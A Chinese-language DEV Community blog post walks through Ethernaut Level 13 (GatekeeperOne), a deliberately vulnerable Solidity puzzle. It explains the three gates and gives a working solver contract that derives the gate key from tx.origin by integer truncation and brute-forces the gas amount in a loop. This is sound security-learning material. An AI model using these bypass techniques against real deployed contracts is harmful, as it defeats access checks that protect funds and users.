DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 13(GatekeeperOne)

LEVEL 13 (GatekeeperOne):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

entrant=player

要点

1.tx.origin和msg.sender的区别,这个前面有讲
2.gas费用的设置
https://docs.soliditylang.org/en/v0.8.14/control-structures.html?highlight=gas%3A#external-function-calls
3.类型转换和位值
https://docs.soliditylang.org/en/v0.8.14/types.html#conversions-between-elementary-types

解题思路

gateOne:在自己的合约调用其他合约,则tx.origin和msg.sender就会不一样

gateTwo:要先了解下gasleft()和合约是如何消耗gas,如何指定调用的最大gas
可以通过console.log打印出对应合约大体的gasLeft()+ (8191的倍数)即可
这个gasLeft()线上和本地的不一定完全一样,可能是有没开启优化的关系,故可以加个循环gas+1不断尝试

gateThree:
这个要了解单位转换的截取和补齐,详见代码备注

contracts/13GatekeeperOneRun.sol

 function run(address _runAddress) external  {
    //gas = 254+8191; (用console.log打印出gas剩余,本地测算是254,不过线上可能有些许差异可能是有带优化参数,所以可以调小254进行循环测试)
    uint256 gas = 254+81910;

    /**
     *  
     *  1.require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
     *  2.require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
     *  3.require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); 
     *  gateKey三个条件都满足才能通过
     *  分析:
     *  首先要把address转成对应的uint160,gateKey是byte8对应uint64
     *  根据条件3:tx.origin的0-16跟gateKey的0-16是一样
     *  根据条件1:16-32位要全是0 (不然截取后不会相等)
     *  根据条件2:32-64位不全是0  (不然截取后会相等)
     *  所以uint64(uint16(uint160(tx.origin)),把address转成160后截取成16再转成64位后,自动满足条件1和3,但不满足条件2,故再加上0x1_00_00_00_00即可(把33设为1)
     *       
     */
    bytes8 gateKey = bytes8(uint64(uint16(uint160(tx.origin))+0x100000000)); 
    while (true) {
      (bool result,) = _runAddress.call{gas:gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
      if (result) {
        break;
      }      
      gas++;
    }
  } 
Enter fullscreen mode Exit fullscreen mode

Top comments (0)